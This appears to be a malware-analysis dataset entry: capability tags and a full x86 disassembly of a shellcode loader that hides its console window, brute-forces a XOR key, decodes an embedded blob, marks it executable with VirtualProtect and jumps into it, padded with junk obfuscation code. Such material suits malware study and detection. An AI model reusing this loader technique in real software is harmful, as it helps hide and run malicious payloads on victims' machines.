Function at 0x401000
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x49c
push ebx
push esi
push edi
mov ecx, 0xb8
lea edi, [ebp - 0x49c]
mov esi, 0x4020e0
rep movsd dword es:[edi], dword [esi]
push 0
movsw word es:[edi], word [esi]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [ebp - 8]
mov edx, ecx
mov ebx, ecx
shr edx, 0x10
mov al, cl
xor dl, 0x34
shr ebx, 8
mov dword [ebp - 0xc], edx
xor al, 0xdb
mov edx, ecx
xor bl, 0x2c
shr edx, 0x18
xor dl, 0x35
cmp al, 0xe9
jne 0x401064
cmp byte [ebp - 0xc], 1
jne 0x401064
cmp bl, 0x14
jne 0x401064
test dl, dl
je 0x401067
inc ecx
jmp 0x401032
lea eax, [ebp - 0x49c]
mov dword [ebp - 8], ecx
mov edi, 1
lea ecx, [ebp - 0x49c]
sub edi, eax
mov ebx, 2
sub ebx, eax
xor esi, esi
mov eax, 3
sub eax, ecx
mov dword [ebp - 0xc], eax
mov eax, 5
sub eax, ecx
mov dword [ebp - 0x14], eax
nop word [eax + eax]
mov eax, esi
lea ecx, [ebp - 8]
and eax, 3
lea edx, [ebp - 0x49c]
add ecx, eax
add edx, esi
add esi, 6
movzx eax, byte [ecx]
xor byte [edx], al
lea eax, [edx + edi]
and eax, 3
movzx eax, byte [ebp + eax - 8]
xor byte [edx + 1], al
lea eax, [edx + ebx]
and eax, 3
movzx eax, byte [ebp + eax - 8]
xor byte [edx + 2], al
mov eax, dword [ebp - 0xc]
add eax, edx
and eax, 3
movzx eax, byte [ebp + eax - 8]
xor byte [edx + 3], al
movzx eax, byte [ecx]
xor byte [edx + 4], al
mov eax, dword [ebp - 0x14]
add eax, edx
and eax, 3
movzx eax, byte [ebp + eax - 8]
xor byte [edx + 5], al
cmp esi, 0x2e2
jb 0x4010a0
lea eax, [ebp - 0x28]
push eax
push 0x40
push 0x2e2
lea eax, [ebp - 0x49c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x1c000
push 0x11
push 0xd
push 0x12
push str.jnTuSKdkuwaJnYBWFt
lea eax, [ebp - 0x49c]
call eax
call dword [0x400000]
mov dword [ebp - 0x2c], 0
mov eax, 0xd38b
mov dword [ebp - 0x30], 3
mov ecx, 0x1239
mov byte [ebp - 0x15], 0xb6
mov dword [ebp - 0x34], 0xffffa1f4
mov dword [ebp - 0x38], pe_overlay
mov dword [ebp - 0x3c], 0x3bec4054
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x44], 0x4fdbc366
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0x3bec4054
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0x730346e1
mov dword [ebp - 0x58], 0xc7061189
mov dword [ebp - 0x5c], 0x609b5fe7
mov dword [ebp - 0x60], 0x78556c13
mov dword [ebp - 0x64], 0xbecea3ff
mov dword [ebp - 0x68], 0x71fdf043
mov dword [ebp - 0x6c], 0xfffffffe
mov dword [ebp - 0x70], 0xffffffff
mov dword [ebp - 0x74], 7
mov dword [ebp - 0x78], 0x694dcdec
mov dword [ebp - 0x7c], 0xc7ae
mov byte [ebp - 0x16], 0xf7
nop
mov edx, 6
mov byte [ebp - 0x17], 0x94
mov byte [ebp - 0x18], dl
nop dword [eax]
dec eax
xor ecx, 0xfffffffd
movzx esi, ax
movzx eax, ax
sub edx, 1
jne 0x4011f0
and esi, 0xfff6
mov dword [ebp - 0x84], edx
mov ebx, 0xb826a906
mov dword [ebp - 0x80], esi
mov dword [ebp - 0x88], edx
mov dword [ebp - 0x8c], 9
mov byte [ebp - 0x19], dl
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x90], 0x387f6d64
mov dword [ebp - 0x94], 0xfffffff9
mov dword [ebp - 0x98], 1
mov dword [ebp - 0x9c], 1
mov dword [ebp - 0xa0], edx
mov dword [ebp - 0xa4], edx
mov dword [ebp - 0xa8], 0xee99a7af
mov dword [ebp - 0xac], 0xfffffff8
mov dword [ebp - 0xb0], edx
mov dword [ebp - 0xb4], edx
mov dword [ebp - 0xb8], 0xb551d48a
mov dword [ebp - 0xbc], 0xeed0a4c7
mov dword [ebp - 0xc0], 0xffffffff
mov dword [ebp - 0xc4], 0xffffffff
mov dword [ebp - 0xc8], 0xffffffff
mov dword [ebp - 0xcc], 0xfc194ff6
mov dword [ebp - 0xd0], 7
mov dword [ebp - 0xd4], edx
mov byte [ebp - 0x1a], 2
nop dword [eax]
mov dword [ebp - 0x14], 0x931eb30d
mov edi, 0xdc8989cd
mov byte [ebp - 1], 0x46
mov edx, 0x17
mov dword [ebp - 0xd8], 0x4875
mov byte [ebp - 0x1b], 0
mov dword [ebp - 0xdc], 0x3bec4054
mov dword [ebp - 0xe0], 1
mov ebx, dword [ebp - 0x14]
lea eax, [edx + 1]
cbw
mov esi, 0xfffffff5
mov word [ebp - 0xe], ax
nop dword [eax + eax]
movsx eax, bx
mov ecx, 0x869
sub ecx, eax
mov ebx, edx
xor eax, eax
mov dword [ebp - 0xe8], ebx
cmp esi, ecx
mov ecx, esi
setg al
add eax, 0x461e
neg ecx
movzx eax, ax
sbb ecx, ecx
mov dword [ebp - 0xe4], eax
and ecx, 0x10
mov eax, esi
neg eax
sbb eax, eax
and cl, 0xf8
and eax, 0x10
mov dword [ebp - 0xec], eax
movsx ax, cl
add ax, word [ebp - 0xe]
movsx ecx, ax
xor eax, eax
xor ecx, 0xf8
sub ecx, 0xf8
cmp ecx, 0xf8
setge al
dec esi
movzx eax, ax
and edi, 1
mov dword [ebp - 0xf0], eax
cmp esi, 0xffffffee
jg 0x401320
mov cl, byte [ebp - 1]
mov eax, edx
and eax, 8
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0xc]
dec edx
mov dword [ebp - 0xf8], eax
and ebx, 1
or al, 0xf8
mov dword [ebp - 0xf4], edi
xor cl, al
mov dword [ebp - 0xc], ebx
mov byte [ebp - 1], cl
mov byte [ebp - 0x1c], cl
mov dword [ebp - 0xfc], ebx
cmp edx, 0xfffffff0
jge 0x401307
mov dword [ebp - 0x100], edx
mov dword [ebp - 0x104], 0xb02a
mov dword [ebp - 0x108], 0xb029
mov dword [ebp - 0x10c], 0
mov byte [ebp - 1], 0xf6
mov byte [ebp - 0x1d], 3
mov dword [ebp - 0x110], 0xf8
mov dword [ebp - 0x114], 0
mov dword [ebp - 0x118], 0x4fb88
mov dword [ebp - 0x11c], 7
mov byte [ebp - 0x1e], 0x72
mov dword [ebp - 0x120], 0x3bec4054
mov dword [ebp - 0x124], 0xffffb642
mov dword [ebp - 0x128], 1
mov dword [ebp - 0x12c], 0x3bec4054
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x138], 0x4fb88
mov dword [ebp - 0x13c], 7
mov byte [ebp - 0x1f], 0x72
mov dword [ebp - 0x140], 0x3bec4054
mov dword [ebp - 0x144], 0xffffb642
mov dword [ebp - 0x148], 1
mov dword [ebp - 0x14c], 0x3bec4054
mov byte [ebp - 0x20], 1
mov dword [ebp - 0x150], 0x179786dc
mov dword [ebp - 0x154], 0x1ee23de6
mov dword [ebp - 0x158], 0x498a7ec6
mov dword [ebp - 0x15c], 7
mov dword [ebp - 0x160], 0x5b21fb15
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x168], 5
mov dword [ebp - 0x16c], 6
mov dword [ebp - 0x170], 0x40622492
mov dword [ebp - 0x174], 0x1578
mov dword [ebp - 0x178], 0x3e29
mov byte [ebp - 0x21], 0
mov dword [ebp - 0x17c], 1
nop dword [eax]
nop dword [eax + eax]
mov byte [ebp - 0x22], 0xff
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x184], 1
mov dword [ebp - 0x188], 1
mov dword [ebp - 0x18c], 1
mov dword [ebp - 0x190], 0xfffffff2
mov dword [ebp - 0x194], 0
mov dword [ebp - 0x198], 0x52a725df
mov dword [ebp - 0x19c], 8
mov dword [ebp - 0x1a0], 8
mov byte [ebp - 0x23], 1
mov edi, 0x24
mov dword [ebp - 0x1a4], 0x3bec4054
mov ebx, 0xf09f
mov dword [ebp - 0x1a8], 0
mov dword [ebp - 0x1ac], 0xffffffff
mov dword [ebp - 0x1b0], 0x28
mov ecx, 1
lea esi, [ecx + 0x14]
nop dword [eax]
xor edx, edx
or ecx, 0xc739f09f
mov eax, 0xe00ba5e3
div ecx
xor edx, edx
movzx eax, ax
div ebx
add edx, 0x38c60f61
neg edx
sbb edx, edx
neg edx
movzx eax, dx
mov dword [ebp - 0x1b4], eax
sub esi, 1
jne 0x4015d0
mov dword [ebp - 0x1b8], ecx
sub edi, 1
jne 0x4015c4
push edi
push edi
mov byte [ebp - 0xd], 0xe4
call dword [0x400000]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret